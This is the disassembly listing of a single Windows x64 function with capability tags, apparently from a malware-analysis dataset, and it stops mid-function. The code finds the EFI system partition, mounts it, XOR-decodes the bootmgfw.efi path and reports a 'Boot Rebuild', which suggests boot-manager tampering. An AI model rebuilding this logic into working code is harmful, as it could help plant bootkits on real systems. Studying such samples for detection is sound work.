Function at 0x140004930
Capabilities:
Encode data using xor
Enumerate disk volumes
Get common file path
Get disk information
Get disk information via ioctl

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x13c0]
mov eax, 0x14c0
call fcn.14000df60
sub rsp, rax
movaps xmmword [rsp + 0x14b0], xmm6
movaps xmmword [rsp + 0x14a0], xmm7
movaps xmmword [rsp + 0x1490], xmm8
movaps xmmword [rsp + 0x1480], xmm9
movaps xmmword [rsp + 0x1470], xmm10
movaps xmmword [rsp + 0x1460], xmm11
mov rax, qword [0x140045078]
xor rax, rsp
mov qword [rbp + 0x1350], rax
mov dword [rsp + 0x70], ecx
xor r14d, r14d
mov r15d, r14d
mov dword [rbp + 0xc08], r14d
mov sil, 1
mov word [rbp + 0xf30], r14w
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0xf32]
call fcn.14000fbd0
mov word [rbp + 0x1140], r14w
xor edx, edx
mov r8d, 0x206
lea rcx, [rbp + 0x1142]
call fcn.14000fbd0
mov dword [rbp + 0xc50], r14d
mov edx, 0x104
lea rcx, [rbp + 0xf30]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov qword [rbp - 0x80], rax
lea r12d, [r14 + 2]
cmp rax, 0xffffffffffffffff
jne 0x140004b07
movabs rax, 0x1a664fca12c94d12
mov qword [rbp + 0xad0], rax
movabs rax, 0x7954bf062e57e067
mov qword [rbp + 0xad8], rax
xorps xmm2, xmm2
movabs rax, 0x7e08268c32946049
mov qword [rbp + 0xaf0], rax
movabs rax, 0x795eda6a4a39812f
mov qword [rbp + 0xaf8], rax
lea rax, [rbp + 0xc90]
mov ecx, r12d
nop word [rax + rax]
mov qword [rax], r14
mov qword [rax + 8], r14
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140004a70
movdqa xmm0, xmmword [rbp + 0xad0]
xorps xmm0, xmmword [rbp + 0xaf0]
movdqa xmmword [rbp + 0xc90], xmm0
movdqa xmmword [rbp + 0xca0], xmm2
lea rax, [rbp + 0xad0]
lea rcx, [rbp + 0xc90]
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub r12, 1
jne 0x140004ab0
jmp 0x140006e72
mov r13, 0xffffffffffffffff
movzx edi, byte [rsp + 0x40]
lea rcx, [rbp + 0xf30]
mov rax, r13
nop dword [rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140004b20
dec rax
cmp word [rbp + 0xf30], 0x5c
jne 0x140006d82
cmp word [rbp + 0xf32], 0x5c
jne 0x140006d82
cmp word [rbp + 0xf34], 0x3f
jne 0x140006d82
cmp word [rbp + 0xf36], 0x5c
jne 0x140006d82
lea rbx, [rax + rax]
cmp word [rbp + rbx + 0xf30], 0x5c
jne 0x140006d82
cmp rbx, 0x208
jae 0x140006ece
mov word [rbp + rbx + 0xf30], r14w
mov r8d, 0x104
lea rdx, [rbp + 0x1140]
lea rcx, [rbp + 0xf38]
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov ecx, 0x5c
mov word [rbp + rbx + 0xf30], cx
test eax, eax
je 0x140006c74
lea rdx, [rbp + 0x1140]
lea rcx, [rbp + 0xc68]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov dword [rbp + 0xad0], 0x30
mov qword [rbp + 0xad8], r14
mov dword [rbp + 0xae8], 0x40
lea rax, [rbp + 0xc68]
mov qword [rbp + 0xae0], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xaf0], xmm0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
lea r9, [rbp + 0xc78]
lea r8, [rbp + 0xad0]
mov edx, 0x12019f
lea rcx, [rbp + 0xac0]
call qword [sym.imp.ntdll.dll_NtOpenFile]
test eax, eax
js 0x14000644b
mov r14, qword [rbp + 0xac0]
mov qword [rsp + 0x78], r14
cmp r14, 0xffffffffffffffff
je 0x140006448
xor ebx, ebx
mov dword [rbp + 0xc08], ebx
xorps xmm0, xmm0
movups xmmword [rbp + 0xc90], xmm0
movups xmmword [rbp + 0xca0], xmm0
movups xmmword [rbp + 0xcb0], xmm0
movups xmmword [rbp + 0xcc0], xmm0
movups xmmword [rbp + 0xcd0], xmm0
movups xmmword [rbp + 0xce0], xmm0
movups xmmword [rbp + 0xcf0], xmm0
movups xmmword [rbp + 0xd00], xmm0
movups xmmword [rbp + 0xd10], xmm0
mov qword [rsp + 0x38], rbx
lea rax, [rbp + 0xc08]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x90
lea rax, [rbp + 0xc90]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70048
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140006422
mov ecx, dword [rbp + 0xc90]
test ecx, ecx
je 0x140006422
cmp ecx, 1
jne 0x140006422
mov rax, qword [rbp + 0xcb0]
cmp rax, qword [0x14003f110]
jne 0x140006422
mov rax, qword [rbp + 0xcb8]
cmp rax, qword [0x14003f118]
jne 0x140006422
xor eax, eax
mov qword [rbp + 0xc58], rax
mov dword [rbp + 0xc60], eax
mov qword [rsp + 0x38], rbx
lea rax, [rbp + 0xc50]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xc
lea rax, [rbp + 0xc58]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2d1080
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140006448
mov eax, dword [rsp + 0x70]
cmp dword [rbp + 0xc5c], eax
jne 0x140006422
movabs rax, 0x139d27fb311c7
mov qword [rbp - 0x70], rax
movabs rax, 0x3af8be929966c14
mov qword [rbp - 0x68], rax
movabs rcx, 0x139e87ff2119b
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rax
xorps xmm2, xmm2
lea rax, [rbp + 0xc90]
mov rcx, r12
xor esi, esi
nop word [rax + rax]
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140004dc0
movdqa xmm0, xmmword [rbp - 0x70]
xorps xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x70], xmm0
movaps xmmword [rbp - 0x60], xmm2
movaps xmm0, xmmword [rbp + 0xcb0]
movaps xmmword [rbp - 0x50], xmm0
movaps xmm1, xmmword [rbp + 0xcc0]
movaps xmmword [rbp - 0x40], xmm1
movaps xmm0, xmmword [rbp + 0xcd0]
movaps xmmword [rbp - 0x30], xmm0
movaps xmm1, xmmword [rbp + 0xce0]
movaps xmmword [rbp - 0x20], xmm1
movaps xmm0, xmmword [rbp + 0xcf0]
movaps xmmword [rbp - 0x10], xmm0
movaps xmm1, xmmword [rbp + 0xd00]
movaps xmmword [rbp], xmm1
lea r8, [rbp + 0x1140]
lea rdx, [rbp - 0x70]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_DefineDosDeviceW]
xorps xmm5, xmm5
test eax, eax
je 0x140006b27
movabs rax, 0x24324ff8af586a3
mov qword [rbp + 0xc90], rax
movabs rax, 0x3cae0dd629887aae
mov qword [rbp + 0xc98], rax
movabs rax, 0x1367822d360e0928
mov qword [rbp + 0xca0], rax
movabs rax, 0x1e8d94c0e8e74fa0
mov qword [rbp + 0xca8], rax
movabs rax, 0x1fffffffe220a4f5
mov qword [rbp + 0xcb0], rax
movabs rax, 0x1fffffffe4e7b6c5
mov qword [rbp + 0xcb8], rax
movabs rcx, 0x4f1f6db9cfa9bce2
mov qword [rbp + 0xcf0], rcx
movabs rcx, 0x48c862a546fa19c7
mov qword [rbp + 0xcf8], rcx
movabs rcx, 0x7c05de5959614b74
mov qword [rbp + 0xd00], rcx
movabs rcx, 0x7ba3e3a68f8a3bcf
mov qword [rbp + 0xd08], rcx
movabs rcx, 0x1fffffffe220cd93
mov qword [rbp + 0xd10], rcx
mov qword [rbp + 0xd18], rax
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp - 0x70]
mov ecx, 6
nop word [rax + rax]
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140004f20
movdqa xmm0, xmmword [rbp + 0xc90]
xorps xmm0, xmmword [rbp + 0xcf0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [rbp + 0xca0]
xorps xmm1, xmmword [rbp + 0xd00]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [rbp + 0xcb0]
xorps xmm0, xmmword [rbp + 0xd10]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmmword [rbp - 0x40], xmm5
movdqa xmmword [rbp - 0x30], xmm6
movdqa xmmword [rbp - 0x20], xmm7
lea rax, [rbp + 0xc90]
lea rcx, [rbp - 0x70]
mov edx, 4
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140004f90
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
call fcn.14000bf78
lea rcx, [rbp + 0xc90]
mov qword [rbp + 0x1c0], rcx
lea rdx, [rbp + 0xc90]
mov rcx, r13
inc rcx
cmp byte [rdx + rcx], bl
jne 0x140005015
mov qword [rbp + 0x1c8], rcx
lea r8, [rbp + 0x1c0]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.1400020b0
or r15d, 0xc00
or r15d, 1
mov dword [rbp + 0xc08], r15d
lea rcx, [rsp + 0x48]
call fcn.140002b40
test al, al
je 0x14000528b
movabs rax, 0x9e1186225950630
mov qword [rbp + 0xc90], rax
movabs rax, 0x2e7235e86c76dc21
mov qword [rbp + 0xc98], rax
movabs rax, 0x19a53bae3af792ee
mov qword [rbp + 0xca0], rax
movabs rax, 0x1c9ef305ac419a64
mov qword [rbp + 0xca8], rax
movabs rax, 0xa5cceb19c0cc913
mov qword [rbp + 0xcb0], rax
movabs rax, 0x68ffd794ec88881b
mov qword [rbp + 0xcb8], rax
movabs rax, 0x44bd512460c93c71
mov qword [rbp + 0xcf0], rax
movabs rax, 0x5a145a9b0304bf48
mov qword [rbp + 0xcf8], rax
movabs rax, 0x76c767da5598d0b2
mov qword [rbp + 0xd00], rax
movabs rax, 0x79b08463cb2cee0b
mov qword [rbp + 0xd08], rax
movabs rax, 0x7f37add0fe22a075
mov qword [rbp + 0xd10], rax
movabs rax, 0x68ffd794ec88886b
mov qword [rbp + 0xd18], rax
xorps xmm5, xmm5
xorps xmm6, xmm6
xorps xmm7, xmm7
lea rax, [rbp + 0x660]
mov ecx, 6
nop dword [rax]
mov qword [rax], rsi
mov qword [rax + 8], rsi
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x140005140
movdqa xmm0, xmmword [rbp + 0xc90]
xorps xmm0, xmmword [rbp + 0xcf0]
movdqa xmmword [rbp + 0x660], xmm0
movdqa xmm1, xmmword [rbp + 0xd00]
xorps xmm1, xmmword [rbp + 0xca0]
movdqa xmmword [rbp + 0x670], xmm1
movdqa xmm0, xmmword [rbp + 0xd10]
xorps xmm0, xmmword [rbp + 0xcb0]
movdqa xmmword [rbp + 0x680], xmm0
movdqa xmmword [rbp + 0x690], xmm5
movdqa xmmword [rbp + 0x6a0], xmm6
movdqa xmmword [rbp + 0x6b0], xmm7
lea rax, [rbp + 0xc90]
lea rcx, [rbp + 0x660]
mov edx, 5
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400051c1
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
call fcn.14000bf78
lea rcx, [rbp + 0xc90]
mov qword [rbp + 0x1d0], rcx
lea rdx, [rbp + 0xc90]
mov rcx, r13
nop
inc rcx
cmp byte [rdx + rcx], 0
jne 0x140005240
mov qword [rbp + 0x1d8], rcx
lea r8, [rbp + 0x1d0]
mov edx, eax
lea rcx, [rbp + 0xc10]
call fcn.1400020b0
or r15d, 0x3000
or r15d, 2
mov dword [rbp + 0xc08], r15d
lea rcx, [rbp + 0xc10]
call fcn.140002b40
test al, al
je 0x14000528b
mov bl, 1
jmp 0x14000528d
xor bl, bl
test r15b, 2
je 0x1400052f6
and r15d, 0xfffffffd
mov rdx, qword [rbp + 0xc28]
cmp rdx, 8
jb 0x1400052dd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400052d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ee0
call fcn.14000d670
mov qword [rbp + 0xc20], rsi
mov qword [rbp + 0xc28], 7
mov word [rbp + 0xc10], si
test r15b, 1
je 0x140005342
and r15d, 0xfffffffe
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140005342
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000533d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ee6
call fcn.14000d670
test bl, bl
jne 0x140006a3c
nop word [rax + rax]
movzx eax, byte [str.A:EFIMicrosoftBoot_bootmgfw.efi]
xor al, 0x71
mov byte [rbp + 0xbe0], al
movzx eax, byte [0x14003f019]
xor al, 0x72
mov byte [rbp + 0xbe1], al
movzx eax, byte [0x14003f01a]
xor al, 0x73
mov byte [rbp + 0xbe2], al
movzx eax, byte [0x14003f01b]
xor al, 0x74
mov byte [rbp + 0xbe3], al
movzx eax, byte [0x14003f01c]
xor al, 0x75
mov byte [rbp + 0xbe4], al
movzx eax, byte [0x14003f01d]
xor al, 0x76
mov byte [rbp + 0xbe5], al
movzx eax, byte [0x14003f01e]
xor al, 0x77
mov byte [rbp + 0xbe6], al
movzx eax, byte [0x14003f01f]
xor al, 0x78
mov byte [rbp + 0xbe7], al
movzx eax, byte [0x14003f020]
xor al, 0x79
mov byte [rbp + 0xbe8], al
movzx eax, byte [0x14003f021]
xor al, 0x7a
mov byte [rbp + 0xbe9], al
movzx eax, byte [0x14003f022]
xor al, 0x7b
mov byte [rbp + 0xbea], al
movzx eax, byte [0x14003f023]
xor al, 0x7c
mov byte [rbp + 0xbeb], al
movzx eax, byte [0x14003f024]
xor al, 0x7d
mov byte [rbp + 0xbec], al
movzx eax, byte [0x14003f025]
xor al, 0x7e
mov byte [rbp + 0xbed], al
movzx eax, byte [0x14003f026]
xor al, 0x7f
mov byte [rbp + 0xbee], al
movzx eax, byte [0x14003f027]
xor al, 0x80
mov byte [rbp + 0xbef], al
movzx eax, byte [0x14003f028]
xor al, 0x81
mov byte [rbp + 0xbf0], al
movzx eax, byte [0x14003f029]
xor al, 0x82
mov byte [rbp + 0xbf1], al
movzx eax, byte [0x14003f02a]
xor al, 0x83
mov byte [rbp + 0xbf2], al
movzx eax, byte [0x14003f02b]
xor al, 0x84
mov byte [rbp + 0xbf3], al
movzx eax, byte [0x14003f02c]
xor al, 0x85
mov byte [rbp + 0xbf4], al
movzx eax, byte [0x14003f02d]
xor al, 0x86
mov byte [rbp + 0xbf5], al
movzx eax, byte [0x14003f02e]
xor al, 0x87
mov byte [rbp + 0xbf6], al
movzx eax, byte [0x14003f02f]
xor al, 0x88
mov byte [rbp + 0xbf7], al
movzx eax, byte [0x14003f030]
xor al, 0x89
mov byte [rbp + 0xbf8], al
movzx eax, byte [0x14003f031]
xor al, 0x8a
mov byte [rbp + 0xbf9], al
movzx eax, byte [0x14003f032]
xor al, 0x8b
mov byte [rbp + 0xbfa], al
movzx eax, byte [0x14003f033]
xor al, 0x8c
mov byte [rbp + 0xbfb], al
movzx eax, byte [0x14003f034]
xor al, 0x8d
mov byte [rbp + 0xbfc], al
movzx eax, byte [0x14003f035]
xor al, 0x8e
mov byte [rbp + 0xbfd], al
movzx eax, byte [0x14003f036]
xor al, 0x8f
mov byte [rbp + 0xbfe], al
movzx eax, byte [0x14003f037]
xor al, 0x90
mov byte [rbp + 0xbff], al
movzx eax, byte [0x14003f038]
xor al, 0x91
mov byte [rbp + 0xc00], al
movzx eax, byte [0x14003f039]
xor al, 0x92
mov byte [rbp + 0xc01], al
xor eax, eax
mov byte [rbp + 0xc02], al
mov edx, esi
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rbp + 0xbe0]
add rcx, rax
lea eax, [rdx + 0x71]
xor byte [rcx], al
inc edx
cmp edx, 0x22
jb 0x140005560
mov byte [rbp + 0xc02], 0
lea rax, [rbp + 0xbe0]
mov rbx, r13
nop word [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140005590
call fcn.14000bf78
lea rcx, [rbp + 0xbe0]
mov qword [rbp + 0x1e0], rcx
mov qword [rbp + 0x1e8], rbx
lea r8, [rbp + 0x1e0]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.1400020b0
or r15d, 0xc
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rcx, qword [rsp + 0x48]
mov r9d, 0xffffffff
mov r8d, 9
lea rdx, [rbp + 0xc10]
call fcn.14000c350
test eax, eax
jne 0x140006f22
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x14000563d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005638
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006eec
call fcn.14000d670
cmp qword [rbp + 0xc18], 0x11ce00
jne 0x140005c8f
mov edx, 0x104
lea rcx, [rbp + 0xc90]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x140006e7e
xorps xmm0, xmm0
movups xmmword [rbp + 0xbe0], xmm0
mov qword [rbp + 0xbf0], rsi
mov qword [rbp + 0xbf8], rsi
lea rax, [rbp + 0xc90]
mov r8, r13
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140005690
lea rdx, [rbp + 0xc90]
lea rcx, [rbp + 0xbe0]
call fcn.14000b0d0
nop
mov r14, qword [rbp + 0xbf0]
test r14, r14
je 0x14000656e
mov dword [rbp - 0x70], 0x8e308e2d
mov dword [rbp - 0x6c], 0x8e1b8e1c
mov dword [rbp - 0x68], 0x8e2a8e01
mov dword [rbp - 0x64], 0x8e3e8e32
mov dword [rbp - 0x60], 0x8e268e30
mov dword [rbp - 0x5c], 0x8e138e19
mov dword [rbp - 0x58], 0x8e0a8e12
mov dword [rbp - 0x54], 0x8ee78e12
mov dword [rbp - 0x50], 0x8ef58ee7
mov dword [rbp - 0x4c], 0x8ee18ead
mov dword [rbp - 0x48], 0x8eef8ee3
xor eax, eax
mov word [rbp - 0x44], ax
mov eax, esi
mov r8d, 0x718f
nop word [rax + rax]
movsxd rcx, eax
lea rdx, [rbp - 0x70]
lea rdx, [rdx + rcx*2]
movzx ecx, ax
sub cx, r8w
xor word [rdx], cx
inc eax
cmp eax, 0x16
jb 0x140005720
mov word [rbp - 0x44], si
lea rax, [rbp - 0x70]
mov rsi, r13
nop word [rax + rax]
inc rsi
cmp word [rax + rsi*2], 0
jne 0x140005750
mov rcx, qword [rbp + 0xbf8]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x1400057ae
lea rax, [rsi + r14]
mov qword [rbp + 0xbf0], rax
lea rbx, [rbp + 0xbe0]
cmp rcx, 8
cmovae rbx, qword [rbp + 0xbe0]
lea rcx, [rbx + r14*2]
lea r8, [rsi + rsi]
lea rdx, [rbp - 0x70]
call fcn.14000f530
lea rax, [r14 + rsi]
xor esi, esi
mov word [rbx + rax*2], si
lea rax, [rbp + 0xbe0]
jmp 0x1400057cc
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x70]
movzx r8d, dil
mov rdx, rsi
lea rcx, [rbp + 0xbe0]
call fcn.14000aef0
xor esi, esi
mov rdx, rax
lea rcx, [rbp + 0xc30]
call fcn.140009e60
nop
lea rdx, [rbp + 0xc30]
cmp qword [rbp + 0xc48], 8
cmovae rdx, qword [rbp + 0xc30]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc10], xmm0
mov qword [rbp + 0xc20], rsi
mov qword [rbp + 0xc28], rsi
mov r8, qword [rbp + 0xc40]
lea rcx, [rbp + 0xc10]
call fcn.14000b0d0
or r15d, 0x30
lea rcx, [rbp + 0xc10]
call fcn.140002b40
movzx ebx, al
mov rdx, qword [rbp + 0xc28]
cmp rdx, 8
jb 0x140005877
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005872
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ef2
call fcn.14000d670
test bl, bl
je 0x140006513
lea rdx, [rbp + 0xc30]
cmp qword [rbp + 0xc48], 8
cmovae rdx, qword [rbp + 0xc30]
lea rcx, str.___Boot:__ws_n
call fcn.1400010e0
movzx eax, byte [str.A:EFIMicrosoftBoot_bootmgfw.efi]
xor al, 0x71
mov byte [rbp - 0x70], al
movzx eax, byte [0x14003f019]
xor al, 0x72
mov byte [rbp - 0x6f], al
movzx eax, byte [0x14003f01a]
xor al, 0x73
mov byte [rbp - 0x6e], al
movzx eax, byte [0x14003f01b]
xor al, 0x74
mov byte [rbp - 0x6d], al
movzx eax, byte [0x14003f01c]
xor al, 0x75
mov byte [rbp - 0x6c], al
movzx eax, byte [0x14003f01d]
xor al, 0x76
mov byte [rbp - 0x6b], al
movzx eax, byte [0x14003f01e]
xor al, 0x77
mov byte [rbp - 0x6a], al
movzx eax, byte [0x14003f01f]
xor al, 0x78
mov byte [rbp - 0x69], al
movzx eax, byte [0x14003f020]
xor al, 0x79
mov byte [rbp - 0x68], al
movzx eax, byte [0x14003f021]
xor al, 0x7a
mov byte [rbp - 0x67], al
movzx eax, byte [0x14003f022]
xor al, 0x7b
mov byte [rbp - 0x66], al
movzx eax, byte [0x14003f023]
xor al, 0x7c
mov byte [rbp - 0x65], al
movzx eax, byte [0x14003f024]
xor al, 0x7d
mov byte [rbp - 0x64], al
movzx eax, byte [0x14003f025]
xor al, 0x7e
mov byte [rbp - 0x63], al
movzx eax, byte [0x14003f026]
xor al, 0x7f
mov byte [rbp - 0x62], al
movzx eax, byte [0x14003f027]
xor al, 0x80
mov byte [rbp - 0x61], al
movzx eax, byte [0x14003f028]
xor al, 0x81
mov byte [rbp - 0x60], al
movzx eax, byte [0x14003f029]
xor al, 0x82
mov byte [rbp - 0x5f], al
movzx eax, byte [0x14003f02a]
xor al, 0x83
mov byte [rbp - 0x5e], al
movzx eax, byte [0x14003f02b]
xor al, 0x84
mov byte [rbp - 0x5d], al
movzx eax, byte [0x14003f02c]
xor al, 0x85
mov byte [rbp - 0x5c], al
movzx eax, byte [0x14003f02d]
xor al, 0x86
mov byte [rbp - 0x5b], al
movzx eax, byte [0x14003f02e]
xor al, 0x87
mov byte [rbp - 0x5a], al
movzx eax, byte [0x14003f02f]
xor al, 0x88
mov byte [rbp - 0x59], al
movzx eax, byte [0x14003f030]
xor al, 0x89
mov byte [rbp - 0x58], al
movzx eax, byte [0x14003f031]
xor al, 0x8a
mov byte [rbp - 0x57], al
movzx eax, byte [0x14003f032]
xor al, 0x8b
mov byte [rbp - 0x56], al
movzx eax, byte [0x14003f033]
xor al, 0x8c
mov byte [rbp - 0x55], al
movzx eax, byte [0x14003f034]
xor al, 0x8d
mov byte [rbp - 0x54], al
movzx eax, byte [0x14003f035]
xor al, 0x8e
mov byte [rbp - 0x53], al
movzx eax, byte [0x14003f036]
xor al, 0x8f
mov byte [rbp - 0x52], al
movzx eax, byte [0x14003f037]
xor al, 0x90
mov byte [rbp - 0x51], al
movzx eax, byte [0x14003f038]
xor al, 0x91
mov byte [rbp - 0x50], al
movzx eax, byte [0x14003f039]
xor al, 0x92
mov byte [rbp - 0x4f], al
xor eax, eax
mov byte [rbp - 0x4e], al
mov edx, esi
movsxd rax, edx
lea rcx, [rbp - 0x70]
add rcx, rax
lea eax, [rdx + 0x71]
xor byte [rcx], al
inc edx
cmp edx, 0x22
jb 0x140005a41
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x70]
mov rbx, r13
inc rbx
cmp byte [rax + rbx], 0
jne 0x140005a62
call fcn.14000bf78
lea rcx, [rbp - 0x70]
mov qword [rbp + 0x1f0], rcx
mov qword [rbp + 0x1f8], rbx
lea r8, [rbp + 0x1f0]
mov edx, eax
lea rcx, [rsp + 0x48]
call fcn.1400020b0
or r15d, 0x300
lea rdx, [rbp + 0xc30]
cmp qword [rbp + 0xc48], 8
cmovae rdx, qword [rbp + 0xc30]
xorps xmm0, xmm0
movups xmmword [rbp + 0xc10], xmm0
mov qword [rbp + 0xc20], rsi
mov qword [rbp + 0xc28], rsi
mov r8, qword [rbp + 0xc40]
lea rcx, [rbp + 0xc10]
call fcn.14000b0d0
or r15d, 0xc0
lea rdx, [rsp + 0x48]
cmp qword [rsp + 0x60], 8
cmovae rdx, qword [rsp + 0x48]
lea rcx, [rbp + 0xc10]
cmp qword [rbp + 0xc28], 8
cmovae rcx, qword [rbp + 0xc10]
xor r8d, r8d
call fcn.14000c0b4
mov rbx, rax
mov qword [rbp + 0xc08], rax
shr rax, 0x20
test eax, eax
jne 0x140006f04
mov rdx, qword [rbp + 0xc28]
cmp rdx, 8
jb 0x140005b71
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ef8
call fcn.14000d670
mov qword [rbp + 0xc20], rsi
mov qword [rbp + 0xc28], 7
mov word [rbp + 0xc10], si
mov rdx, qword [rsp + 0x60]
cmp rdx, 8
jb 0x140005bcc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005bc7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006efe
call fcn.14000d670
test bl, bl
je 0x140006465
lea rcx, str.___Boot_Rebuild_Success__n
call fcn.1400010e0
nop
mov rdx, qword [rbp + 0xc48]
cmp rdx, 8
jb 0x140005c27
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006ed4
call fcn.14000d670
mov qword [rbp + 0xc40], rsi
mov qword [rbp + 0xc48], 7
mov word [rbp + 0xc30], si
mov rdx, qword [rbp + 0xbf8]
cmp rdx, 8
jb 0x140005350
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xbe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006eda
call fcn.14000d670
jmp 0x140005350
movabs rax, 0x627c00e38820275
mov qword [rbp + 0xc90], rax
